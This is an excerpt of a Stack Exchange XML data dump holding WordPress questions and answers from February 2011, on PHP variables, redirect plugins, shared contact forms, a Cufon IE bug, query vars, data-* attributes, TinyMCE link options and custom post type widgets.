  <row Id="8678" PostTypeId="2" ParentId="8675" CreationDate="2011-02-06T14:12:32.620" Score="3" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: When would you use $_post instead of $post?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whenever I think it's applicable, for your example I have no idea.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: What's the difference and when would you use $_post instead of $post?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The difference is that you are using different variables.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Different variables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is more or less a coding question, but I try to be as helpful as I can to answer it in the context of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$_post&lt;/code&gt; is just a variable, the &lt;code&gt;$&lt;/code&gt; identifies that it's a variable and &lt;code&gt;_post&lt;/code&gt; is the variable's name. Those &lt;a href=&quot;http://www.php.net/manual/en/language.variables.basics.php&quot; rel=&quot;nofollow&quot;&gt;names are case-sensitive&lt;/a&gt; btw., so &lt;code&gt;$_post&lt;/code&gt; and &lt;code&gt;$_Post&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; are all different variables. And &lt;code&gt;$post&lt;/code&gt; for sure is as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn what's in a variable - ie to find out more about it - you can make use of the &lt;a href=&quot;http://php.net/manual/en/function.var-dump.php&quot; rel=&quot;nofollow&quot;&gt;var_dump() function&lt;/a&gt;: &lt;code&gt;var_dump($_post);&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be helpful to find out more, because with the code you provided it can not be said for what the &lt;code&gt;$_post&lt;/code&gt; variable stands for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As variables can contain any value (incl. being even not set) you need to find the part of the code that is setting the variable.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Special Meaning of &lt;code&gt;$post&lt;/code&gt; in the loop&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The variable &lt;code&gt;$post&lt;/code&gt; has a special meaning in the context of &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;the_loop&lt;/a&gt;: It contains a reference to the current post in the loop.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T14:17:32.773" LastActivityDate="2011-02-06T14:17:32.773" CommentCount="1" />
  <row Id="8679" PostTypeId="2" ParentId="5338" CreationDate="2011-02-06T14:27:06.337" Score="0" ViewCount="" Body="&lt;p&gt;If you are looking for some simple redirect solution, in a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8669/how-to-redirect-category-sci-fi-to-category-scifi/8671#8671&quot;&gt;previous answer&lt;/a&gt; the following two were suggested:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-301-redirects/&quot; rel=&quot;nofollow&quot;&gt;Simple 301 Redirects (Wordpress Plugin)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With those or a comparable plugin it should be possible that you can add the redirects you need to your site.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T14:27:06.337" />
  <row Id="8680" PostTypeId="1" AcceptedAnswerId="8688" CreationDate="2011-02-06T14:44:32.353" Score="0" ViewCount="128" Body="&lt;p&gt;I own a network of 100+ Wordpress based websites.  All website are separate installations of Wordpress and are on different servers.  I would like to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create one contact form&lt;/li&gt;&#xA;&lt;li&gt;have it shown in the sidebar all of my Wordpress websites and &lt;/li&gt;&#xA;&lt;li&gt;capture the responses in one database (instead of getting 100's of emails).  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally the form would be created and hosted in one place and then embedded into the other blogs (via iframe or other method?).  That way I'd only have to make changes to the form in one place and have them apply to all sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are countless plugins for creating contact forms, but none that would seem to address this situation.  Any help would be greatly appreciated.  Further, I'm not opposed to hiring someone to help with this situation if it's beyond the scope of this websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the best,&#xA;JB&lt;/p&gt;&#xA;" OwnerUserId="2982" LastActivityDate="2011-02-06T16:50:41.043" Title="How do I add the same contact form to multiple wordpress sites and capture the response in one place or database?" Tags="&lt;plugins&gt;&lt;sidebar&gt;&lt;forms&gt;&lt;contact&gt;" AnswerCount="1" />
  <row Id="8681" PostTypeId="2" ParentId="5421" CreationDate="2011-02-06T14:47:04.230" Score="1" ViewCount="" Body="&lt;p&gt;I have no such plugin directly at hand, I think it's worth to start a search for that on google and the wordpress.org plugin repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could find some library / book related plugins so far, but nothing is about the workflow of lending books from a shared shelf:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/openbook-book-data/&quot; rel=&quot;nofollow&quot;&gt;OpenBook Book Data (Wordpress Plugin)&lt;/a&gt; - Displays a book's cover image, title, author, links, and other book data from Open Library.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/internet-book-database-widgets/&quot; rel=&quot;nofollow&quot;&gt;Internet Book Database Book Widgets (Wordpress Plugin)&lt;/a&gt; - The Internet Book Database Bookshelf and Book Information from ISBN Widgets.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/amazon-book-picture-from-asin/&quot; rel=&quot;nofollow&quot;&gt;Amazon Book Picture from ASIN (Wordpress Plugin)&lt;/a&gt; - Allows to include images of books by asin or isbn from amazon through a simple tag.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/track-the-book/&quot; rel=&quot;nofollow&quot;&gt;Track The Book (Wordpress Plugin)&lt;/a&gt; - Creates a dynamic KML file of book numbers and locations that were entered by visitors.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/current-book/&quot; rel=&quot;nofollow&quot;&gt;Current Book (Wordpress Plugin)&lt;/a&gt; - Want to show your readers what book you're reading? That's just what this plugin does coincidentally.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/now-reading-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Now Reading Reloaded (Wordpress Plugin)&lt;/a&gt; - Allows you to display the books you're reading, have read recently and plan to read, with cover art fetched automatically from Amazon.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T14:47:04.230" />
  <row Id="8682" PostTypeId="1" AcceptedAnswerId="9409" CreationDate="2011-02-06T14:57:33.283" Score="1" ViewCount="450" Body="&lt;p&gt;I have a site where i'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/all-in-one-cufon/&quot; rel=&quot;nofollow&quot;&gt;All-In-One Cufon (Wordpress Plugin)&lt;/a&gt;, but having some issues getting it to render properly in IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website: [removed]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Problem: It works fine so far in Firefox and the other browsers like Chrome. Even in internet explorer the first time the site loads it works fine but when i refresh the page or visit any other pages by clicking a link on the site it stops working (The text is still visible but cufon rendering doesn't work) :o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to fix this since the past day without any success. I'm not 100% sure but i think it used to work fine awhile back but i just recently noticed this odd behavior and have no clue what could be making this happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was a conflict of a plugin, but i tried disabling ALL the plugins except the cufon and it still does the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware / experienced similar issue with their websites? and knows the solution? thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastEditorUserId="1804" LastEditorDisplayName="" LastEditDate="2011-02-07T17:14:47.347" LastActivityDate="2011-02-15T15:49:44.820" Title="wordpress site | All-in-one-cufon IE Issue" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;coding&gt;&lt;plugin-all-in-one-cufon&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="8683" PostTypeId="2" ParentId="8008" CreationDate="2011-02-06T15:21:36.147" Score="1" ViewCount="" Body="&lt;p&gt;If you really want to know wether a &lt;em&gt;WordPress Query Var&lt;/em&gt; is set or not, you need to check directly for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All set query vars are stored into a global accessible array of the WP_Query class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a default instance that is bound to the global  &lt;code&gt;$wp_query&lt;/code&gt; variable. With that in mind it is possible to create a &lt;code&gt;qv_isset()&lt;/code&gt; function that is working precicesly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function qv_isset($var_name) {&#xA;    $array = $GLOBALS['wp_query']-&amp;gt;query_vars;&#xA;    return array_key_exists($var_name, $array);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What makes this so easy is that &lt;a href=&quot;http://php.net/manual/en/function.array-key-exists.php&quot; rel=&quot;nofollow&quot;&gt;array_key_exists()&lt;/a&gt; returns true or false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally to test any PHP variable if it is set or not, you can use &lt;a href=&quot;http://php.net/manual/en/function.isset.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;isset()&lt;/code&gt;&lt;/a&gt;. But it has a shortcoming: If a variable is &lt;code&gt;NULL&lt;/code&gt;, it will say that it is not set - even if it is. Comparable to what has been written about &lt;a href=&quot;http://php.net/manual/en/function.empty.php&quot; rel=&quot;nofollow&quot;&gt;empty()&lt;/a&gt; here as well, it will say comparably for &lt;code&gt;''&lt;/code&gt; (empty string), &lt;code&gt;NULL&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt; etc. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, we do not need to rely on that function to check wether or not a &lt;em&gt;queryvar&lt;/em&gt; has been set as we can make use of array_key_exists() here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now for your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function qv_get($var_name, $default = null) {&#xA;    return qv_isset($var_name) ? get_query_var($var_name) : $default;&#xA;}&#xA;&#xA;mcs_textbook_chapter($dialect, qv_get('cls'), qv_get('ch'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with other words: If your function already has (that many) optional parameters, take a look how you can best feed it. Unset variables are &lt;code&gt;NULL&lt;/code&gt; (like said above with isset()), so this is useful to pass them as unset optional parameters as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T15:32:35.547" LastActivityDate="2011-02-06T15:32:35.547" />
  <row Id="8684" PostTypeId="1" AcceptedAnswerId="8693" CreationDate="2011-02-06T15:30:50.887" Score="0" ViewCount="63" Body="&lt;p&gt;I need to pass a localized multidimensional javascript object to a page. The object is constructed using php and represents some wp-theme settings. I cant find a way to utilize wp_localize_script for this, as it will not parse multidimensional arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I've come up with the solution to use a html5 data-* attribute for this and then using jQuery to retrieve it, hoping for this method to provide x-browser compatibility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on the page where I need to access the localized data I let php output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;localized&quot; style=&quot;display:none&quot; data-localized='{&quot;user&quot;: &quot;Doe&quot;, &quot;skills&quot;: {&quot;html&quot;:5, &quot;css&quot;:4, &quot;php&quot;:3} }'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then get that localized data using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var my_localazed_data = $('#localized').data('localized');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine. But my concern here is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is this browser compatible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Are there any security concern to be aware of as compared to using wp_localize_script?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T19:14:52.690" LastActivityDate="2011-02-06T19:14:52.690" Title="security concerns if using html data-* attribute for l10n?" Tags="&lt;theme-development&gt;&lt;javascript&gt;&lt;security&gt;&lt;coding&gt;&lt;cross-plattform&gt;" AnswerCount="1" />
  <row Id="8685" PostTypeId="2" ParentId="4428" CreationDate="2011-02-06T16:22:31.060" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Wordpress Setting API&lt;/a&gt; should provide everything you need, it even automatically stores values IIRC. As buddypress is built on top of WordPress I assume this work for buddypress as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T16:22:31.060" />
  <row Id="8686" PostTypeId="2" ParentId="6067" CreationDate="2011-02-06T16:37:52.480" Score="0" ViewCount="" Body="&lt;p&gt;There is no such thing as a &lt;em&gt;&quot;dual category permalink&quot;&lt;/em&gt; in wordpress, so you might be looking for &lt;a href=&quot;http://wordpress.org/support/topic/adding-custom-rewrite-rule-to-my-blog&quot; rel=&quot;nofollow&quot;&gt;custom rewrite rules (Wordpress.org Forums)&lt;/a&gt; and let deal your own code with the URL design as you need it then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T16:37:52.480" />
  <row Id="8687" PostTypeId="2" ParentId="8682" CreationDate="2011-02-06T16:45:58.153" Score="0" ViewCount="" Body="&lt;p&gt;I'm seeing the following errors on your page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;SCRIPT16387: Invalid pointer&lt;/em&gt; (cufon.yui.js, line 121 character 39)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which corresponds to the pointer document.defaultView.getComputedStyle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see what exactly is happening, but there's another message about the character encoding of your site: &quot;HTML1114: Codepage iso-8859-1 from (HTTP header) overrides conflicting codepage utf-8 from (META tag)&quot; Might want to check into that and make sure you have the correct document encoding.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-06T16:45:58.153" CommentCount="5" />
  <row Id="8688" PostTypeId="2" ParentId="8680" CreationDate="2011-02-06T16:50:41.043" Score="0" ViewCount="" Body="&lt;p&gt;the easiest way i can think of is to use a plugin that creates a form by shortcode like &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;contact form7&lt;/a&gt; for example and I'll brake it in to easy steps.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the form on your main site or&#xA;what ever site you would like to&#xA;manage the forms data through.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.wordpressmax.com/customize-wordpress/custom-page&quot; rel=&quot;nofollow&quot;&gt;Create a page template&lt;/a&gt; with no header or footer just a plain loop and call the_content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new page , add the Form's&#xA;shortcode to it and set the template&#xA;as your new page template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the url of that page and create&#xA;an iframe to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On each site  you would like to show&#xA;the form just add the Iframe code to&#xA;a sidebar text widget.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and that should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh wait, you will probably need to add Contact form7's Javascripts and css and i just read your question again and you are looking to save this forms in to database and since this plugin does'nt save to database on its own you can use an extenstion plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7-to-database-extension/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7 to Database&lt;/a&gt; or use a different forms plugin all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T16:50:41.043" CommentCount="4" />
  <row Id="8689" PostTypeId="2" ParentId="5549" CreationDate="2011-02-06T17:08:44.887" Score="0" ViewCount="" Body="&lt;p&gt;You might be probably looking for a plugin that offer's groupon-like functionality (&lt;a href=&quot;http://www.tomloverro.com/2010/08/19/groupon-1-0-started-on-a-wordpress-blog/&quot; rel=&quot;nofollow&quot;&gt;“Groupon 1.0 started on a WordPress blog.”&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By googling I learned that there is a plugin called &lt;a href=&quot;http://www.wpcoupon.com/&quot; rel=&quot;nofollow&quot;&gt;WP Coupon (Wordpress Plugin)&lt;/a&gt; (&lt;a href=&quot;http://www.wpnow.com/wp-coupon-review&quot; rel=&quot;nofollow&quot;&gt;review&lt;/a&gt;). No idea if it fits in what you need, but it looks like it does what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's probably additionally worth to checkout if groupon and other similar fast growing sites do offer a webservice so that actually the job is already done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.groupon.com/pages/api-terms-of-use&quot; rel=&quot;nofollow&quot;&gt;Groupon API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T17:32:32.667" LastActivityDate="2011-02-06T17:32:32.667" CommentCount="1" />
  <row Id="8690" PostTypeId="1" CreationDate="2011-02-06T18:05:47.020" Score="1" ViewCount="226" Body="&lt;p&gt;I have a custom post type called &quot;Static Content.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to list those posts in the following secondary sidebar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sidebar-secondary:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        // A second sidebar for widgets, just because.&#xA;        if ( is_active_sidebar( 'secondary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;ul id=&quot;secondary-widget&quot; class=&quot;xoxo&quot;&amp;gt;&#xA;                &amp;lt;?php dynamic_sidebar( 'secondary-widget-area' ); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #sidebar --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-06T18:35:27.797" Title="How to list custom post types in a secondary sidebar?" Tags="&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="8691" PostTypeId="2" ParentId="7336" CreationDate="2011-02-06T18:25:54.133" Score="0" ViewCount="" Body="&lt;p&gt;You could add the advlink plugin in to tinyMCE. I don't think I can attach the code, so to do it you'll need to download a copy of tinyMCE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tinymce.moxiecode.com/download/download.php&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/download/download.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then copy over the advlink directory (from the plugins folder) to your Wordpress plugins folder, and open up the link.htm file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there edit the 4 script tags at the top from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../tiny_mce_popup.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../utils/mctabs.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../utils/form_utils.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../utils/validate.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../../wp-includes/js/tinymce/tiny_mce_popup.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../../wp-includes/js/tinymce/utils/mctabs.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../../wp-includes/js/tinymce/utils/form_utils.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../../../wp-includes/js/tinymce/utils/validate.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly add this filter function to your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tiny_mce_advlink($plugins) {&#xA;   $newPlugins=array('advlink' =&amp;gt; WP_PLUGIN_URL.'/advlink/editor_plugin.js' );&#xA;   return $plugins+$newPlugins;&#xA;}&#xA;add_filter('mce_external_plugins', 'tiny_mce_advlink');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should have a more advanced dialog when you click on a link. In the Advanced tab you'll notice a drop down that says 'Relationship page to target' and you can select the 'No Follow' option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can of course use this tinyMCE plugin as the basis to write your own if you wanted.&lt;/p&gt;&#xA;" OwnerUserId="2908" LastEditorUserId="2908" LastEditorDisplayName="" LastEditDate="2011-02-06T20:20:08.690" LastActivityDate="2011-02-06T20:20:08.690" />
  <row Id="8692" PostTypeId="2" ParentId="8690" CreationDate="2011-02-06T18:35:27.797" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/query-posts/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Query Posts&lt;/a&gt; plugin which creates a widget that you can place on that sidebar, and select what to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are looking to code your own the its a you are sure that you wont remove it from that side bar you can create a simple custom WP_query to selset your post type and list them.&#xA;So you would need to change your code a bit like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        // A second sidebar for widgets, just because.&#xA;        if ( is_active_sidebar( 'secondary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;ul id=&quot;secondary-widget&quot; class=&quot;xoxo&quot;&amp;gt;&#xA;             &amp;lt;li&amp;gt;&amp;lt;?php //your query and loop here ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;?php dynamic_sidebar( 'secondary-widget-area' ); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #sidebar --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can just create your own widget and add it to the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T18:35:27.797" CommentCount="2" />
  <row Id="8693" PostTypeId="2" ParentId="8684" CreationDate="2011-02-06T19:14:10.083" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: 1.) Is this browser compatible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, for all browsers supporting &lt;a href=&quot;http://api.jquery.com/jQuery.data/&quot; rel=&quot;nofollow&quot;&gt;jQuery data()&lt;/a&gt;. jQuery is generally supported by most modern browsers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: 2) Are there any security concern to be aware of as compared to using wp_localize_script?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_localize_script()&lt;/code&gt;&lt;/a&gt; is mainly doing the same but it's keeping the data on the serverside and not within the DOM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, making use of javascript and interacting with the DOM has security implications. You need to follow the rules to properly en- and de-code any arbitrary data safely so that injections can not introduce unintended behaviour.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T19:14:10.083" CommentCount="2" />
  <row Id="8694" PostTypeId="1" CreationDate="2011-02-06T19:20:10.970" Score="0" ViewCount="218" Body="&lt;p&gt;I tried the Following (whihc lists custom post types called Static Content):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;&#xA;add_action(&quot;widgets_init&quot;, array('Widget_name', 'register'));&#xA;class Widget_name {&#xA;  function control(){&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=page_content&amp;amp;page_sections=Lastest');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-7 border-top&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile;&#xA;  }&#xA;  function widget($args){&#xA;    echo $args['before_widget'];&#xA;    echo $args['before_title'] . 'Your widget title' . $args['after_title'];&#xA;    echo $args['after_widget'];&#xA;  }&#xA;  function register(){&#xA;    register_sidebar_widget('Widget name', array('Widget_name', 'widget'));&#xA;    register_widget_control('Widget name', array('Widget_name', 'control'));&#xA;  }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no luck. There's nothing displayed in the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-06T19:27:11.630" LastActivityDate="2011-02-06T20:11:55.473" Title="How to list all custom post types in a custom widget?" Tags="&lt;widgets&gt;" AnswerCount="2" />
